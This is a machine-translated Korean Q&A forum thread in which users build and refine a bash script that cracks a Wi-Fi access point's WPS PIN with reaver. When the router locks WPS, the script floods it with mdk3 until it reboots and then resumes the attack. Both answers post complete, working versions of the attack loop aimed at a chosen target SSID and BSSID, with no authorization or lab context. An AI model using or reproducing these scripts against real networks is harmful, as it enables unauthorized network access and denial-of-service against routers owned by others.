2017-02-06 9 views
2

우선 불쌍한 영어 불쌍한 분께 죄송합니다. 리버를 사용하여 AP WPS 크래킹을 수행하기 위해 bash 스크립트를 작성하려고합니다. 문제는 일부 WPS-PIN을 시도한 후에 AP가 WPS를 잠그므로 재버가 유용하지 않다는 것입니다.재사용을위한 bash 스크립트는 wps-locked 상태의 잠금을 해제합니다.

이 문제를 해결하기 위해 AP를 재부팅하고 다시 공격 할 수있는 공격 ()을 수행합니다 (재부팅 후 WPS가 잠금 해제 상태로 다시 시작됨).

이 방법의 문제는이다 : 나는 AP가 잠겨 및

  • 이 mdk3 공격을 할 때, PC의 잠금 앞에 있어야 AP가 재부팅 될 때 그것을 중지하고

    1. reaver 공격을 다시 수행합니다. 이것에 대한 해결책은 분명히 스크립트입니다.

    이 문제를 해결할 수있는 다음 줄을 작성했습니다.

    필자는 bash 스크립팅에서 완전히 멍청하다고 말해야하므로 스크립트는 "전문적인"것이 아니라 내 문제를 해결하기위한 "워크 북"입니다.

    #!/bin/bash 
    
    while true; do 
        # Switch to the correct channel and save it into $channel 
        echo Detecting AP channel 
        timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel 
        rm ap_channel 2> /dev/null 
        touch ap_channel 
        timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel 
        channel="$(head -1 ap_channel | tail -c 2 | head -c 1)" 
        rm ap_channel 
    
        # Attacks the AP while it isn't wps-locked 
        rm ap_status 2> /dev/null 
        timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
        while [ -z "$(grep Locked ap_status)" ]; do 
         echo Performing reaver attack 
         aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon 
         timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f 
         rm ap_status 
         timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
        done 
    
        # The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked 
        ((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null & 
        mdk3_pid=$! 
        rm ap_status 
        timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
        while [ -n "$(grep Locked ap_status)" ]; do 
         echo Trying to reboot the AP 
         rm ap_status 
         timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
        done 
    
        # The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack 
        kill -9 $mdk3_pid 
        echo AP rebooted. Waiting 2 mins till AP init 
        sleep 120 
    done 
    

    이 스크립트의 문제는 내가 스크립트 내부에 그것을 실행하는 것보다 명령 줄에서 직접 실행하면 내가 airodump 출력에 사용하는 표준 출력 리디렉션 다른 실행하는 것입니다.

    timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status 
    

    내가 직접 tty에서 실행하는 것처럼 스크립트 내에서 위 행을 실행하는 방법이 필요합니다. 스크립트를 계속 사용해야하기 때문에 exec를 사용하여이 작업을 수행 할 수 없습니다.

    참고 : WPS 상태를 저장하지 않으므로 airodump-ng에 -w 옵션을 사용할 수 없습니다.

    누군가 나를 도와 줄 수 있습니까?

  • 답변

    0

    나는 마침내 그것을 얻었다. 이 문제를 해결하기위한 해결 방법을 찾았습니다. 명령의 표준 출력을 파일로 리디렉션했습니다. 나는 스크립트를 게시한다. 아마도 누군가 그것을 사용할 수있을 것이다.

    !/빈/bash는

    while true; do 
    
    rm attack 
    rm ap_status 
    rm ap_channel 
    
    # Detects the AP channel 
    echo Detecting AP channel 
    timeout 45 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -vv > ap_channel # Switch to the AP channel 
    timeout 15 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel 
    channel="$(head -1 ap_channel | tail -c 3 | head -c 2)" 
    rm ap_channel 
    echo Detected AP channel $channel 
    
    # Attacks the AP using reaver till the AP locks the WPS 
    ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 
    sleep 10 
    kill -9 $airodump_pid 
    
    while [ -z "$(grep Locked ap_status)" ]; do 
        echo Performing reaver attack 
        aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon 
        timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f 
        ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
        airodump_pid=$! 
        sleep 10 
        kill -9 $airodump_pid 
    done 
    
    # Force a reboot in the AP to unlock WPS 
    ((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > attack & 
    mdk3_pid=$! 
    
    ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
    airodump_pid=$! 
    sleep 10 
    kill -9 $airodump_pid 
    
    while [ -n "$(grep Locked ap_status -m 1)" ]; do 
        echo Trying to reboot the AP 
        ((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status & 
        airodump_pid=$! 
        sleep 10 
        kill -9 $airodump_pid 
    done 
    
    # The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack 
    kill -9 $mdk3_pid 
    echo AP rebooted. Waiting 5 mins till AP init 
    rm attack 
    rm ap_status 
    sleep 300 
    
    done 
    

    지연이 갈망으로 설정하지만이 확인되어있다. AP에 따라 다르므로 변경할 수 있습니다.

    스크립트를 사용하려면 aircrack, reaver (마지막 버전, --wps 옵션이있는 버전), timeout 및 mdk3 패키지가 필요합니다.

    bash 스크립팅에 대해 알고있는 사람이 스크립트를 수정하고 더 나은 스크립트를 업로드하고 싶다면 그럴 것입니다!

    0

    내 변형. 고정 지연은 dynamic wait을 대체합니다. 핀 및 대기 시간을 계산하십시오.

    "-C gnome-screenshot -f"를 스크린 샷 프로그램으로 바꾸거나 제거하십시오.

    !/bin/bash 
    
    while true; do 
    
    rm attack 2> null 
    rm ap_status 2> null 
    rm ap_channel 2> null 
    rm assoc 2> null 
    
    AP_SSID="TARGET_ESSID" 
    AP_BSSID="TARGET_BSSID" 
    MY_MAC="YOU_MAC" 
    MON_INTERFACE=wlan0mon 
    PREV_SESS_FILE="PREV_SESSION_FILE.wpc" 
    countTryPin=0 
    countFile=totalTryPinCount # count file to store total try pin 
    waitTryReboot=0 # count wait time AP rebooting (DDOS MDK3) 
    waitReboot=0 # count wait time AP recovery after rebooting 
    touch $countFile 
    
    echo -e -n "\n\nDetect channel" 
    
    touch assoc 
    ((reaver -i $MON_INTERFACE -e $AP_SSID -b $AP_BSSID -A -s $PREV_SESS_FILE) 2>&1) > assoc & 
    assoc_pid=$! 
    
    while [ -z "$(grep Associated assoc)" ]; do 
        sleep 3 
        echo -n . 
    done 
    
    echo -e "\n\n" 
    kill -9 $assoc_pid 
    wait $assoc_pid 2> null 
    rm assoc 
    
    echo -n "Wait association" 
    ((aireplay-ng -1 0 -e $AP_SSID -a $AP_BSSID -h $MY_MAC $MON_INTERFACE) 2>&1) > ap_channel & 
        ap_channel_pid=$! 
    while [ -z "$(grep successful ap_channel)" ]; do 
         sleep 1 
         echo -n "." 
    done 
    
    channel="$(head -1 ap_channel | tail -c 3 | head -c 2)" 
    echo -e "\n\Channel set to $channel\n\n" 
    rm ap_channel 
    
    touch ap_status 
    echo -n -e "\nCheck AP WPS lock" 
    while [ -z "$(grep $AP_SSID ap_status)" ]; do 
        ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
        airodump_pid=$! 
        echo -n . 
        sleep 1 
        kill -9 $airodump_pid 
        wait $airodump_pid 2> null 
    done 
    
    echo -e "\n\n" 
    ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
        airodump_pid=$! 
    
    while [ -z "$(grep $AP_SSID ap_status -m 1)" ]; do 
        sleep 2 
    done 
    
    kill -9 $airodump_pid 
    wait $airodump_pid 2> null 
    
    while [ -z "$(grep Locked ap_status -m 1)" ]; do 
        ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
        airodump_pid=$! 
        echo -e "\n\nBegig reaver attack\n\n" 
        echo -n "Wait association" 
         ((aireplay-ng -1 0 -e $AP_SSID -a $AP_BSSID -h $MY_MAC $MON_INTERFACE) 2>&1) > ap_channel & 
         ap_channel_pid=$! 
        while [ -z "$(grep successful ap_channel)" ]; do 
         sleep 1 
         echo -n "." 
        done 
        echo -e "\n\n" 
        timeout 10 reaver -i $MON_INTERFACE -e $AP_SSID -b $AP_BSSID --no-nacks -vv -s $PREV_SESS_FILE -w -A -g 1 -C gnome-screenshot -f # remove or replace "-C gnome-screenshot -f" to you screenshot programm 
        countTryPin=$[countTryPin + 1] 
        kill -9 $airodump_pid 
        wait $airodump_pid 2> null 
    done 
    
    
    # Force a reboot in the AP to unlock WPS 
    ((mdk3 $MON_INTERFACE a -a $AP_BSSID) 2>&1) > attack & 
    mdk3_pid=$! 
    
    echo -e "\n\n" 
    while [ -n "$(grep Locked ap_status -m 1)" ] && [ -n "$(grep $AP_SSID ap_status -m 1)" ]; do 
        ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status & 
        airodump_pid=$! 
        sleep 4 
        waitTryReboot=$[waitTryReboot + 4] 
        echo -e -n "\rTry calling reboot AP. Wait $waitTryReboot sec." 
        kill -9 $airodump_pid 
        wait $airodump_pid 2> null 
    done 
    
    # The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack 
    kill -9 $mdk3_pid 
    wait $mdk3_pid 2> null 
    
    totalTryPin=`cat $countFile` 
    totalTryPin=$(($totalTryPin + $countTryPin)) 
    echo $totalTryPin > $countFile 
    
    echo -e "\n\n" 
    while [ -z "$(grep $AP_SSID ap_status)" ]; do 
        # After reboot AP may be change channel. Run without channel 
        ((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID) 2>&1) > ap_status & 
        airodump_pid=$! 
        sleep 5 
        waitReboot=$[waitReboot + 5] 
        echo -e -n "\rAP rebooting. Wait $waitReboot sec." 
        kill -9 $airodump_pid 
        wait $airodump_pid 2> null 
    done 
    
    rm attack 
    rm ap_status 
    rm null 
    execTime=$(($SECONDS+$waitTryReboot+$waitReboot)) 
    echo -e "\n\nDone $countTryPin try pin.\ 
          \nCalling reboot AP wait time $waitTryReboot sec.\ 
          \nAP rebooting wait time $waitReboot sec.\ 
          \nTotal execute time $SECONDS sec.\ 
          \nTotal try pin $totalTryPin\n\n" 
    sleep 3 
    SECONDS=0 
    done